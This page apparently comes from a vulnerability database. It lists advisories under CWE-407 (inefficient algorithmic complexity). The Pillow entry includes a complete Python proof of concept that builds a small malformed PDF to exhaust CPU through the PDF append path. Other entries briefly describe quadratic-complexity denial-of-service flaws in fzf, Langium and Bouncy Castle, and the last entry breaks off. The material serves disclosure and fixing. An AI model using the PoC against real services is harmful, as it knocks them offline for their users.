Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

584 vulnerabilities reference this CWE, most recent first.

GHSA-MRFP-P49P-3HF2

Vulnerability from github – Published: 2026-10-22 16:00 – Updated: 2026-10-22 16:00
VLAI
Summary
Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
Details

Summary

Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.

In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.

This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

Details

Affected versions

  • Package: Pillow
  • Ecosystem: pip / PyPI
  • Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling
  • Runtime-tested affected release: 12.3.0
  • Runtime-tested affected development version: 13.0.0.dev0
  • Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD
  • Likely affected range: >= 5.1.0
  • Patched versions: none known

Evidence fact strings:

  • Runtime-tested affected: 12.3.0
  • Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Source-level affected: 5.1.0
  • Source-level affected: 12.2.0
  • Source-level affected: HEAD
  • Likely affected range: >= 5.1.0, no fixed version known
  • Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.

Technical details

The reachable path is:

  1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

python Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)

  1. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:

python is_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")

  1. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:

python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:]

  1. linearize_page_tree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages

  1. During append, rewrite_pages() then iterates the expanded orig_pages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

PoC

Environment used for validation:

  • OS/runtime: Linux, Python 3.13.11
  • Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Latest release tested: Pillow 12.3.0
  • The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as poc_pillow_pdf_page_tree_dag.py:

#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Run:

python3 poc_pillow_pdf_page_tree_dag.py

Expected result:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Observed on current main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Observed on Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.

Impact

This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.

The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().

Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().

This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.

Remediation

Reject duplicate and cyclic page-tree references before constructing self.pages and self.orig_pages.

One possible fix is to pass traversal state through linearize_page_tree():

  • Track active /Pages references to reject cycles.
  • Track seen page-tree and page indirect references to reject duplicate references.
  • Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.

Suggested regression tests:

  • A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True).
  • A normal nested linear page tree should continue to append successfully.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:00:47Z",
    "nvd_published_at": "2026-10-21T21:20:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nPillow\u0027s documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow\u0027s security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow\u0027s PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `\u003e= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: \u003e= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow\u0027s public PDF save path:\n\n   ```python\n   Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n   ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n   ```python\n   is_appending = im.encoderinfo.get(\"append\", False)\n   filename_str = filename.decode() if isinstance(filename, bytes) else filename\n   if is_appending:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n   else:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n   ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:\n\n   ```python\n   self.page_tree_root = self.read_indirect(self.pages_ref)\n   self.pages = self.linearize_page_tree(self.page_tree_root)\n   self.orig_pages = self.pages[:]\n   ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n   ```python\n   def linearize_page_tree(\n       self, node: PdfDict | None = None\n   ) -\u003e list[IndirectReference]:\n       page_node = node if node is not None else self.page_tree_root\n       check_format_condition(\n           page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n       )\n       pages = []\n       for kid in page_node[b\"Kids\"]:\n           kid_object = self.read_indirect(kid)\n           if kid_object[b\"Type\"] == b\"Page\":\n               pages.append(kid)\n           else:\n               pages.extend(self.linearize_page_tree(node=kid_object))\n       return pages\n   ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\n\ndef make_page_tree_pdf(depth: int, fanout: int) -\u003e bytes:\n    if fanout not in (1, 2):\n        raise ValueError(\"fanout must be 1 or 2\")\n\n    objects: list[bytes] = [b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\"]\n    for object_id in range(2, depth + 3):\n        next_id = object_id + 1\n        kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n        parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n        objects.append(b\"\u003c\u003c /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" \u003e\u003e\")\n    objects.append(f\"\u003c\u003c /Type /Page /Parent {depth + 2} 0 R \u003e\u003e\".encode(\"ascii\"))\n\n    result = bytearray(b\"%PDF-1.4\\n\")\n    offsets = [0]\n    for object_id, value in enumerate(objects, start=1):\n        offsets.append(len(result))\n        result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\"))\n        result.extend(value)\n        result.extend(b\"\\nendobj\\n\")\n\n    xref_offset = len(result)\n    result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\"))\n    result.extend(b\"0000000000 65535 f \\n\")\n    for offset in offsets[1:]:\n        result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\"))\n    result.extend(\n        f\"trailer\\n\u003c\u003c /Size {len(objects) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\")\n    )\n    return bytes(result)\n\n\ndef run_case(depth: int, fanout: int) -\u003e dict[str, object]:\n    payload = make_page_tree_pdf(depth, fanout)\n    expected_refs = fanout ** (depth + 1)\n\n    start = time.monotonic()\n    with PdfParser.PdfParser(buf=payload) as pdf:\n        observed_refs = len(pdf.pages)\n        distinct_refs = len(set(pdf.pages))\n    parse_seconds = time.monotonic() - start\n\n    output = io.BytesIO(payload)\n    start = time.monotonic()\n    Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True)\n    append_seconds = time.monotonic() - start\n\n    return {\n        \"fanout\": fanout,\n        \"depth\": depth,\n        \"input_bytes\": len(payload),\n        \"expected_refs\": expected_refs,\n        \"observed_refs\": observed_refs,\n        \"distinct_refs\": distinct_refs,\n        \"parse_seconds\": round(parse_seconds, 6),\n        \"append_seconds\": round(append_seconds, 6),\n        \"output_bytes_after_append\": len(output.getvalue()),\n    }\n\n\ndef main() -\u003e int:\n    depth = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 12\n    if not 0 \u003c= depth \u003c= 16:\n        raise SystemExit(\"depth must be between 0 and 16\")\n\n    linear = run_case(depth, fanout=1)\n    shared_dag = run_case(depth, fanout=2)\n\n    checks = {\n        \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1,\n        \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"]\n        == shared_dag[\"expected_refs\"],\n        \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1,\n        \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] \u003c= 2048,\n        \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"]\n        \u003e linear[\"input_bytes\"]\n        and shared_dag[\"output_bytes_after_append\"] \u003e shared_dag[\"input_bytes\"],\n    }\n    result = {\n        \"pillow_version\": PIL.__version__,\n        \"pillow_file\": PIL.__file__,\n        \"depth\": depth,\n        \"linear_control\": linear,\n        \"shared_dag_candidate\": shared_dag,\n        \"checks\": checks,\n        \"overall_passed\": all(checks.values()),\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"overall_passed\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```bash\npython3 poc_pillow_pdf_page_tree_dag.py\n```\n\nExpected result:\n\n```text\n\"overall_passed\": true\n\"linear_control\": observed_refs == 1\n\"shared_dag_candidate\": input_bytes == 1410\n\"shared_dag_candidate\": observed_refs == 8192\n\"shared_dag_candidate\": distinct_refs == 1\n```\n\nObserved on current `main` / `13.0.0.dev0`:\n\n```text\n1410-byte input -\u003e 8192 observed page refs -\u003e 9.563007s append\n```\n\nObserved on Pillow `12.3.0`:\n\n```text\nPillow 12.3.0: 1410-byte input -\u003e 8192 observed page refs -\u003e 9.670602s append\n```\n\nFor comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs.\n\n### Impact\n\nThis is an availability issue in Pillow\u0027s PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow\u0027s `Image.save(..., format=\"PDF\", append=True)` route.\n\nThe demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`.\n\nRequires attacker-influenced existing PDF processed by Pillow\u0027s documented PDF append path; not ordinary Image.open().\n\nThis should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.\n\n### Remediation\n\nReject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`.\n\nOne possible fix is to pass traversal state through `linearize_page_tree()`:\n\n- Track active `/Pages` references to reject cycles.\n- Track seen page-tree and page indirect references to reject duplicate references.\n- Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references.\n\nSuggested regression tests:\n\n- A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`.\n- A normal nested linear page tree should continue to append successfully.",
  "id": "GHSA-mrfp-p49p-3hf2",
  "modified": "2026-10-22T16:00:47Z",
  "published": "2026-10-22T16:00:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/10093"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion"
}

GHSA-MVMF-94V6-879G

Vulnerability from github – Published: 2026-06-30 15:30 – Updated: 2026-09-30 23:52
VLAI
Summary
fzf vulnerable to denial of service through quadratic HTTP request-body accumulation
Details

fzf is vulnerable to a Denial of Service (DoS) due to inefficient HTTP body processing in the --listen mode due to inefficient HTTP body processing using repeated string concatenation, resulting in quadratic time complexity (O(n²)). A crafted POST request with many small segments can trigger excessive CPU usage during request handling.This allows a single malicious request to monopolize the single‑threaded HTTP server, blocking all other clients and resulting in denial of service.

This issue was fixed in version 0.73.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/junegunn/fzf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.73.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T23:52:48Z",
    "nvd_published_at": "2026-06-30T13:19:13Z",
    "severity": "MODERATE"
  },
  "details": "fzf is vulnerable to a Denial of Service (DoS) due to inefficient HTTP body processing in the --listen mode due to inefficient HTTP body processing using repeated string concatenation, resulting in quadratic time complexity (O(n\u00b2)). A crafted POST request with many small segments can trigger excessive CPU usage during request handling.This allows a single malicious request to monopolize the single\u2011threaded HTTP server, blocking all other clients and resulting in denial of service.\n\nThis issue was fixed in version 0.73.1.",
  "id": "GHSA-mvmf-94v6-879g",
  "modified": "2026-09-30T23:52:48Z",
  "published": "2026-06-30T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf/commit/7963a2c6586c0b9eaa89b8995de8f0e08cf8a4ce"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/06/CVE-2026-53432"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/junegunn/fzf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf/releases/tag/v0.73.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fzf vulnerable to denial of service through quadratic HTTP request-body accumulation"
}

GHSA-MW8J-WQ3M-9899

Vulnerability from github – Published: 2026-11-09 18:32 – Updated: 2026-11-09 18:32
VLAI
Details

Eclipse Langium versions 3.2.0 through 4.4.0 contain an inefficient algorithmic complexity issue (CWE-407) in the opt-in IndentationAwareTokenBuilder and IndentationAwareLexer. When producing DEDENT tokens, the token builder recomputes line numbers by re-scanning the entire preceding document text. A document whose indentation changes on most lines then takes quadratic time to tokenize. Because tokenization is synchronous, a crafted document of a few hundred kilobytes can block the Node.js event loop for tens of seconds. That causes a DoS for every user served by the same process. Languages built with the DefaultLexer and DefaultTokenBuilder are unaffected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-124683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-09T17:17:27Z",
    "severity": "HIGH"
  },
  "details": "Eclipse Langium versions 3.2.0 through 4.4.0 contain an inefficient algorithmic complexity issue (CWE-407) in the opt-in IndentationAwareTokenBuilder and IndentationAwareLexer. When producing DEDENT tokens, the token builder recomputes line numbers by re-scanning the entire preceding document text. A document whose indentation changes on most lines then takes quadratic time to tokenize. Because tokenization is synchronous, a crafted document of a few hundred kilobytes can block the Node.js event loop for tens of seconds. That causes a DoS for every user served by the same process. Languages built with the DefaultLexer and DefaultTokenBuilder are unaffected.",
  "id": "GHSA-mw8j-wq3m-9899",
  "modified": "2026-11-09T18:32:00Z",
  "published": "2026-11-09T18:32:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-langium/langium/security/advisories/GHSA-297v-g8mm-qj4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124683"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/553"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/1069"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P48W-99F8-9598

Vulnerability from github – Published: 2026-10-02 09:31 – Updated: 2026-10-28 15:31
VLAI
Details

Inefficient algorithmic complexity in X.509 distinguished name string conversion (X509Name.ToString and IetfUtilities.ValueToString) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote unauthenticated attacker to cause a denial of service through CPU exhaustion via a certificate, CRL, certification request or other structure whose name contains a long attribute value made up of characters that must be escaped, such as commas, or of leading or trailing spaces, because each escaping backslash was inserted into the buffer being scanned, so the work grew quadratically with the length of the value. Applications are exposed when they convert such a name to a string, for example to log or display it, or compare it with IetfUtilities.RdnAreEqual, as PKIX path validation does for directoryName name constraints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-103604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-02T08:17:00Z",
    "severity": "HIGH"
  },
  "details": "Inefficient algorithmic complexity in X.509 distinguished name string conversion (X509Name.ToString and IetfUtilities.ValueToString) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote unauthenticated attacker to cause a denial of service through CPU exhaustion via a certificate, CRL, certification request or other structure whose name contains a long attribute value made up of characters that must be escaped, such as commas, or of leading or trailing spaces, because each escaping backslash was inserted into the buffer being scanned, so the work grew quadratically with the length of the value. Applications are exposed when they convert such a name to a string, for example to log or display it, or compare it with IetfUtilities.RdnAreEqual, as PKIX path validation does for directoryName name constraints.",
  "id": "GHSA-p48w-99f8-9598",
  "modified": "2026-10-28T15:31:08Z",
  "published": "2026-10-02T09:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-csharp/commit/bd03e38bbb49db5be33f4463fc40997400c545cc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-csharp/wiki/CVE-2026-103604"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PCG2-G6CJ-Q92C

Vulnerability from github – Published: 2026-10-28 22:43 – Updated: 2026-10-28 22:43
VLAI
Summary
Tornado: Quadratic CPU usage when parsing HTTP headers with line folding
Details

Summary

